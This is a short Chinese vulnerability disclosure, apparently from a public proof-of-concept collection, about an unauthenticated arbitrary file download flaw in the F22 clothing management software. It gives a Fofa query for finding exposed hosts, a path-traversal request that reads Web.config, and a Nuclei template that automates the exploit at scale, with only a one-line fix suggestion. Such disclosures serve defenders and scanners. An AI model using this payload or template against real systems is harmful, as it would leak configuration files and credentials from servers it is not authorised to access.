# F22服装管理软件系统openfile.aspx前台任意文件下载

## 漏洞描述

广州锦铭泰软件科技有限公司，是一家专业为品牌服饰鞋包企业提供信息化解决方案的高科技企业，该公司开发的F22服装管理软件系统存在接口未授权访问，通过未授权的口/oa/isprit/module/openfile.aspx存在任意文件下载漏洞。攻击者最终可利用该漏洞获取敏感信息。

## 漏洞复现

1. Fofa

body="images/key.gif"



1. 界面如下



3、隐患url，验证如下

/oa/isprit/module/openfile.aspx?Url=..\..\..\Web.config



Nucle

id: jmtr-f22-oa-filedownload

info:

name: F22服装管理软件系统openfile.aspx前台任意文件下载

author: m0be1

severity: high

description: 广州锦铭泰软件科技有限公司，是一家专业为品牌服饰鞋包企业提供信息化解决方案的高科技企业，该公司开发的F22服装管理软件系统存在接口未授权访问，通过未授权的口/oa/isprit/module/openfile.aspx存在任意文件下载漏洞。攻击者最终可利用该漏洞获取敏感信息。

reference:

- https://

metadata:

fofa-query: body="images/key.gif"

verified: true

max-request: 1

http:

- raw:

- |

GET /oa/isprit/module/openfile.aspx?Url=..\..\..\Web.config HTTP/1.1

Host: {{Hostname}}

matchers:

- type: dsl

dsl:

- 'status\_code==200 && contains\_all(body,"<?xml")'

## 修复建议

1、升级到安全版本